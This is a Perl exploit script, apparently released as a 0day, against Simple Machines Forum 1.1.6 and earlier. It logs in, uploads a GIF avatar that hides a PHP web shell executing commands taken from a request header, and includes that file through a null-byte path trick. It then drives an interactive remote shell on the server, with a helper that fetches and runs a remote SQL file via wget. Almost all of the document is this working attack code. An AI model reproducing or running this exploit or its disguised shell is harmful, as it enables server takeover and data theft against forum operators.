smf-lfiexec.txt

`#!/usr/bin/perl  
#  
# @title: Simple Machines Forum Code Execution  
# @versn: * <= 1.1.6  
# @authr: ~elmysterio ( a.k.a us )  
# @stats: DROPPED!!!!!!!  
# @descp: In loving memory of the rare bone marrow disease that killed rgod.   
# We can't thank you enough for killing a bug killer.   
# @bug : Sources/QueryString.php & Sources/Themes.php w/ magic_quotes == Off  
# @gr33t: m0rt's failure, it never stops.  
#   
# C:\Documents and Settings\molest>perl P:\advisories\smf\smf_localfileinclude.pl  
# -s http://localhost/audit/smf116 -u regular -p test -d  
# [ii] 0day Simple Machines Forum <= 1.1.6 Code Execution  
# [ii] Session ID = e6abb52c4dc7fd4ecd7b307f66e9cd9d  
# [ii] User Id = 2  
# [ii] Uploaded a shell...  
# [cmd@win32]$ ver  
#   
# Microsoft Windows XP [Version 5.1.2600]  
#   
# [cmd@win32]$  
#  
# FOR LULZ PURPOSE ONLY!!  
#  
use strict;  
use warnings;  
use LWP::UserAgent;  
use HTTP::Request::Common;  
use Getopt::Long qw(:config no_ignore_case);  
  
print "[ii] 0day Simple Machines Forum <= 1.1.6 Code Execution\n";  
  
my $ua = LWP::UserAgent->new( cookie_jar => {}, agent => "Mozilla FireFox" );  
my %parms = ( s => "",  
d => 0,  
x => sub { print "[**] Proxy found, using $_[1]\n"; $ua->proxy(['http'], $_[1]); },  
u => "Gl0ria!!!",  
p => "gl0ria\@herb3st" );  
  
GetOptions \%parms, "s=s", "d", "x=s", "u=s", "p=s";   
  
if( !$parms{s} ) {  
die <<HELP  
[ii] usage: $0 <parms>  
[-s] Site -> http://site.com/forums  
[-x] Proxy -> localhost:8118  
[-u] Username -> Gl0ria!!!  
[-p] Password -> gl0ria\@herb3st  
[-d] Debug  
HELP  
}  
  
my $shell = chr(0x47).chr(0x49).chr(0x46).chr(0x38).chr(0x39).chr(0x61).  
chr(0x01).chr(0x00).chr(0x01).chr(0x00).chr(0xf7).chr(0x00).  
chr(0x00).chr(0xa4).chr(0xb6).chr(0xa4).chr(0x16).chr(0x00).  
chr(0x00).chr(0xf4).chr(0x00).chr(0x00).chr(0x77).chr(0x00).  
chr(0x00).chr(0x6b).chr(0x00).chr(0x4c).chr(0x15).chr(0x00).  
chr(0x00).chr(0xf4).chr(0x00).chr(0x69).chr(0x77).chr(0x00).   
chr(0x00).chr(0xf8).chr(0x00).chr(0x6e).chr(0x62).chr(0x00).  
chr(0x00).chr(0x15).chr(0x00).chr(0x67).chr(0x00).chr(0x00).  
chr(0x00).chr(0x34).chr(0x00).chr(0x75).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x61).chr(0xc0).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x89).chr(0x00).chr(0x00).chr(0x1c).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0xa9).chr(0x00).chr(0x00).chr(0x20).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x6f).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x56).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00); $shell .= <<'EXIF';  
<?php   
error_reporting(0);ini_set('max_execution_time',0);  
$x=trim(stripslashes($_SERVER[HTTP_SERVER_INFO]));$z=(ini_get('safe_mode') or strpos(ini_get('disable_functions'),'passthru') ? '1' : '0');  
if($x=='0998'){print '---info---'.PHP_OS.';'.$z.'---info---';exit;}  
print '---1243---';if($z){print eval($x);}else{print passthru($x);}print '---3421---';exit;   
?>  
EXIF  
$shell .= chr(0x38).chr(0x00).chr(0x00).chr(0xe5).chr(0x00).  
chr(0x00).chr(0x12).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x98).chr(0x01).chr(0x00).  
chr(0xcc).chr(0x00).chr(0x00).chr(0x15).chr(0x00).chr(0x00).  
chr(0x00).chr(0x58).chr(0x00).chr(0x10).chr(0xe6).chr(0x00).  
chr(0x04).chr(0x12).chr(0x00).chr(0x10).chr(0x00).chr(0x00).  
chr(0x04).chr(0x05).chr(0x00).chr(0x01).chr(0x90).chr(0x00).  
chr(0x00).chr(0xf6).chr(0x00).chr(0x00).chr(0x77).chr(0x00).  
chr(0x00).chr(0xc8).chr(0x00).chr(0x10).chr(0xd5).chr(0x00).  
chr(0xe8).chr(0xf5).chr(0x00).chr(0x12).chr(0x77).chr(0x00).  
chr(0x00).chr(0xff).chr(0x00).chr(0x13).chr(0xff).chr(0x00).  
chr(0x6c).chr(0xff).chr(0x00).chr(0x6c).chr(0xff).chr(0x00).  
chr(0x74).chr(0x6a).chr(0x00).chr(0x03).chr(0x16).chr(0x00).  
chr(0x00).chr(0xf4).chr(0x00).chr(0x00).chr(0x77).chr(0x00).  
chr(0x00).chr(0xc4).chr(0x00).chr(0x30).chr(0x1e).chr(0x00).  
chr(0x75).chr(0xe5).chr(0x00).chr(0x15).chr(0x77).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x15).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0xdc).chr(0x00).chr(0x00).  
chr(0xe7).chr(0x00).chr(0x00).chr(0x12).chr(0x00).chr(0x00).  
chr(0x00).chr(0x70).chr(0x00).chr(0x01).chr(0x59).chr(0x00).  
chr(0x00).chr(0x18).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x04).chr(0x00).chr(0x88).chr(0x01).chr(0x00).  
chr(0xe8).chr(0x05).chr(0x00).chr(0x12).chr(0x01).chr(0x00).  
chr(0x00).chr(0x6c).chr(0x00).chr(0x04).chr(0xe3).chr(0x00).  
chr(0x42).chr(0x12).chr(0x00).chr(0x6e).chr(0x00).chr(0x00).  
chr(0x74).chr(0x7e).chr(0x00).chr(0x30).chr(0x00).chr(0x00).  
chr(0x87).chr(0x00).chr(0x00).chr(0x6e).chr(0xc0).chr(0x00).  
chr(0x74).chr(0x00).chr(0x00).chr(0xff).chr(0x00).chr(0x00).  
chr(0xff).chr(0x00).chr(0x00).chr(0xff).chr(0x00).chr(0x00).  
chr(0xff).chr(0xff).chr(0x00).chr(0xd6).chr(0xff).chr(0x00).  
chr(0x32).chr(0xff).chr(0x00).chr(0x6e).chr(0xff).chr(0x00).  
chr(0x74).chr(0xff).chr(0x00).chr(0x6c).chr(0xff).chr(0x00).  
chr(0x5b).chr(0xff).chr(0x00).chr(0xe5).chr(0xff).chr(0x00).  
chr(0x77).chr(0x00).chr(0x00).chr(0x53).chr(0x00).chr(0x00).  
chr(0x15).chr(0x00).chr(0x00).chr(0x53).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x07).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x6b).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x58).chr(0x00).chr(0x00).chr(0x03).chr(0x00).  
chr(0xf0).chr(0x00).chr(0x00).chr(0x15).chr(0x00).chr(0x00).  
chr(0x00).chr(0x06).chr(0x00).chr(0x00).chr(0xf6).chr(0x00).  
chr(0x00).chr(0xe4).chr(0x00).chr(0x00).chr(0x77).chr(0x00).  
chr(0x00).chr(0x0f).chr(0x00).chr(0x00).chr(0x1e).chr(0x00).  
chr(0x00).chr(0xe5).chr(0x00).chr(0x00).chr(0x77).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x01).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0xf8).chr(0x74).chr(0x00).chr(0x62).chr(0xe7).  
chr(0x00).chr(0x01).chr(0x12).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0xc8).chr(0x68).chr(0x00).chr(0x28).  
chr(0x32).chr(0x15).chr(0xe5).chr(0xe6).chr(0x00).chr(0x77).  
chr(0x77).chr(0xa4).chr(0x00).chr(0xff).chr(0xe5).chr(0x00).  
chr(0xff).chr(0x12).chr(0x00).chr(0xff).chr(0x00).chr(0x00).  
chr(0xff).chr(0x00).chr(0x00).chr(0x6c).chr(0x00).chr(0x00).  
chr(0x5b).chr(0x00).chr(0x00).chr(0xe5).chr(0x00).chr(0x00).  
chr(0x77).chr(0xfc).chr(0xf8).chr(0x36).chr(0xf7).chr(0x62).  
chr(0x00).chr(0x12).chr(0x15).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x05).chr(0x00).chr(0x36).chr(0x90).chr(0x01).  
chr(0x00).chr(0xf6).chr(0x00).chr(0x00).chr(0x77).chr(0x00).  
chr(0x00).chr(0xc8).chr(0x04).chr(0xd8).chr(0xd5).chr(0x29).  
chr(0xed).chr(0xf5).chr(0xe5).chr(0x12).chr(0x77).chr(0x77).  
chr(0x00).chr(0xff).chr(0x94).chr(0xff).chr(0xff).chr(0xe7).  
chr(0xff).chr(0xff).chr(0x12).chr(0xff).chr(0xff).chr(0x00).  
chr(0xff).chr(0x6a).chr(0x64).chr(0x00).chr(0x16).chr(0x2f).  
chr(0x00).chr(0xf4).chr(0xe6).chr(0x00).chr(0x77).chr(0x77).  
chr(0x00).chr(0xe0).chr(0x00).chr(0x9c).chr(0x18).chr(0x00).  
chr(0xe8).chr(0xe5).chr(0x00).chr(0x12).chr(0x77).chr(0x00).  
chr(0x00).chr(0x00).chr(0xff).chr(0x4e).chr(0x00).chr(0xff).  
chr(0x21).chr(0x15).chr(0xff).chr(0x4c).chr(0x00).chr(0xff).  
chr(0x00).chr(0x00).chr(0x6f).chr(0x7c).chr(0x00).chr(0x10).  
chr(0xe8).chr(0x00).chr(0xe5).chr(0x12).chr(0x00).chr(0x77).  
chr(0x00).chr(0xf8).chr(0x00).chr(0x7b).chr(0x62).chr(0x00).  
chr(0xe0).chr(0x15).chr(0x00).chr(0x4e).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x98).chr(0xb0).chr(0x01).chr(0xe8).  
chr(0xe8).chr(0x00).chr(0x12).chr(0x12).chr(0x00).chr(0x00).  
chr(0x00).chr(0x64).chr(0x98).chr(0x6f).chr(0x2f).chr(0x10).  
chr(0x10).chr(0xe6).chr(0xe5).chr(0xe5).chr(0x77).chr(0x77).  
chr(0x77).chr(0x00).chr(0x10).chr(0x52).chr(0x00).chr(0xe4).  
chr(0xe9).chr(0x00).chr(0x4e).chr(0x12).chr(0x00).chr(0x00).  
chr(0x00).chr(0x61).chr(0x20).chr(0xc8).chr(0x00).chr(0x02).  
chr(0xff).chr(0x6c).chr(0x4f).chr(0xff).chr(0x00).chr(0x00).  
chr(0x7f).chr(0x69).chr(0x00).chr(0x1c).chr(0x00).chr(0x01).  
chr(0xe9).chr(0x61).chr(0x00).chr(0x12).chr(0x00).chr(0x00).  
chr(0x00).chr(0x29).chr(0x94).chr(0x00).chr(0x00).chr(0xe7).  
chr(0x00).chr(0x00).chr(0x12).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x6f).chr(0x00).chr(0x01).  
chr(0x10).chr(0x00).chr(0x00).chr(0xe5).chr(0x00).chr(0x00).  
chr(0x77).chr(0x00).chr(0xa0).chr(0x00).chr(0x00).chr(0x3a).  
chr(0x00).chr(0x00).chr(0x50).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x01).chr(0x00).chr(0x30).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x69).  
chr(0x00).chr(0x00).chr(0x61).chr(0x60).chr(0x00).chr(0x74).  
chr(0xf1).chr(0x00).chr(0x74).chr(0x15).chr(0x00).chr(0x69).  
chr(0x00).chr(0x00).chr(0x00).chr(0xf0).chr(0x00).chr(0x00).  
chr(0xaa).chr(0x00).chr(0x02).chr(0x47).chr(0x00).chr(0x00).  
chr(0x00).chr(0x21).chr(0xf9).chr(0x04).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x2c).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x01).chr(0x00).chr(0x01).chr(0x00).  
chr(0x07).chr(0x08).chr(0x04).chr(0x00).chr(0x01).chr(0x04).  
chr(0x04).chr(0x00).chr(0x3b).chr(0x00);  
  
## Logging in  
my $ret = $ua->post("$parms{s}/index.php?action=login2",  
[  
user => $parms{u},  
passwrd => $parms{p},  
cookielength => -1  
]);  
  
## Getting id, sid and checking to see if we're logged on  
$ret = $ua->get("$parms{s}/index.php?action=profile");  
  
die "[!!] Wrong username/password\n"  
unless $ret->as_string !~ /The user whose profile you are trying to view does not exist/;  
  
die "[!!] Error getting session id\n"  
unless my($sid) = $ret->as_string =~ /sesc=([a-z0-9]{32})/;  
  
die "[!!] Error getting id\n"  
unless my($id) = $ret->as_string =~ /u=(\d+);/;  
  
print "[ii] Session ID = $sid\n".  
"[ii] User Id = $id\n" if $parms{d};  
  
## Checking for shell  
$ret = $ua->get("$parms{s}/index.php?action=theme;sa=pick;u=${id};sesc=${sid}", SERVER_INFO => "echo expl0ited");  
  
&shell  
if $ret->as_string =~ /expl0ited/;  
  
$ret = $ua->request(   
POST "$parms{s}/index.php?action=profile2",  
Content_Type => 'multipart/form-data',  
Content =>  
[  
avatar_choice => "upload",  
sc => $sid,  
userID => $id,  
sa => "forumProfile",  
attachment =>  
[  
undef,  
"expl0ited.gif",  
Content => $shell,  
"Content-Type" => "image/gif"  
]  
]);  
  
## Updating Settings.php  
$ret = $ua->get("$parms{s}/index.php?action=jsoption;sesc=${sid};th=32;var=theme_dir;val=./attachments/avatar_${id}.gif\%2500");  
  
print "[ii] Uploaded a shell...\n"  
if $parms{d};  
  
shell();  
  
## lulz @ this shit.  
sub shell {  
my ($full,$base,$user,$pass,$file,$cmd,$os,$sh);  
$ret = $ua->get("$parms{s}/index.php?action=theme;sa=pick;u=${id};sesc=${sid}", SERVER_INFO => '0998' );  
($os,$sh) = $ret->as_string =~ /---info---(.*?);(\d?)---info---/s;  
  
die "[!!] magic_quotes is turned on\n"  
if (not defined $os or not defined $sh or $1 eq $id);  
  
$sh = $sh ? "php" : "cmd";  
$os = $os =~ /win/i ? "win32" : "unix";  
  
do {  
print "[$sh\@$os]\$ ";  
$cmd = chomp (my $cmd = <STDIN>);  
  
  
exit  
unless $cmd !~ /^exit$/i;  
  
if( ($file) = $cmd =~ /^savefile (.*?) / ) {  
$cmd =~ s/savefile $1 //;  
} else { undef $file; }  
  
if( ($user,$pass,$full) = $cmd =~ /^mysql (.*?) (.*?) (.*?)$/ ) {  
($base) = $full =~ /\/(.*?)$/;  
$cmd = "cd attachments;wget $full; mysql --user=$user --password=$pass < $base; rm $base;";  
}  
  
$ret = $ua->get("$parms{s}/index.php?action=theme;sa=pick;u=${id};sesc=${sid}", SERVER_INFO => $cmd);  
$ret->as_string =~ /---1243---(.*?)---3421---/s;  
print "$1\n";  
  
if( defined $file ) {  
open FILE, ">>", $file or die "[!!] Error writing to file; $!\n";  
print FILE "Command Executed: $cmd\n".  
"Host: $parms{s}\n$1\n";  
close FILE;  
}  
} while( $cmd !~ /^exit$/i );  
  
exit;  
}  
  
`